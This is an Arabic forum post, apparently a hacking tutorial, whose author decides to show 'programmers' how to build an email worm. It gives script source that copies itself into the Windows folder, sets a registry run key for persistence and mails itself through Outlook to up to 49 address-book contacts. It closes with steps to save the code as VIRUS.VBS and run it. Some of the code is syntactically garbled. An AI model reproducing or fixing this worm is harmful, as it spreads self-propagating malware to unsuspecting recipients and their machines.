لقد غيرت اسم الموضوع لأني قررت أن أضع كل مايحتاجه المخترقون أو الهاكرز، طبعا على گد اللي أعرفه
كثيرا ماتثير البعض أمور الإختراق وقضايا الفيروسات وكثير من الإخوة في المنتدى كان يسأل عن
كيفية استخدامها وصناعتها وكنا دائما نرفض إعطاء أي شرح عن هذه الأمور وننصح بتعلم ماهو مفيد.
لكن وبعد إعادة تفكير في الموضوع قررت أن أعطي أمثلة للمبرمجين فقط عن كيفية صناعة الفيروسات.
أكثر أنواع فيروسات الإنترنت إنتشارا هذه الأيام هي الدودة أو WORM بالإنجليزية، وهي عبارة عن
رسالة تقوم بنشر نفسها عن طريق البريد الإلكتروني تلقائيا.
وعادة تتم بطريقة بسيطة نوعا ما، فكل مافي الموضوع هو أن نقرأ قائمة الإيميلات تحت الأوت لوك ومن
ثم نقوم بإرسال هذه الرسالة لهم.
سأبدأ بكتابة الكود بلغة VBSCRIPT
var fileSysObject, file;
fileSysObject = new ActiveXObject("Scripting.FileSystemObject");
file = fileSysObject.GetFile(WScript.ScriptFullName);
file.Copy("c:\windows\virus.vbs");
var wshShell;
wshShell = new ActiveXObject("WScript.Shell");
wshShell.RegWrite("HKEY_LOCAL_MACHINE\Software\Mic rosoft\Windows\ _
CurrentVersion\RunServices\virus", "c:\windows\virus.vbs");
var outlookObject, outMail, index;
outlookObject = new ActiveXObject("Outlook.Application");
for (index = 1; index < 50; index++){
outMail = outlookObject.CreateItem(0);
outMail.to =
OutlookObject.GetNameSpace("MAPI").AddressLists(1) .AddressEntries(index);
outMail.Subject = "عنوان الإيميل هنيه";
outMail.Body = "نص الرسالة هنيه";
OutMail.Attachments.Add(WScript.ScriptFullName);
outMail.Send;}
طبعا كل ماعليك القيام به هو أن تطبع البرنامج وتضعه في NOTEPAD ومن ثم تسمي الملف VIRUS.VBS وبعدين تضرب دبل كليك وكان الله غفورا رحيما.
أرجو أن يكون البرنامج واضحا وإذا احتجتم أي مساعدة فلا ضير من السؤال.
أرجو أن تجدوا هذا الدرس مفيدا.
سلام،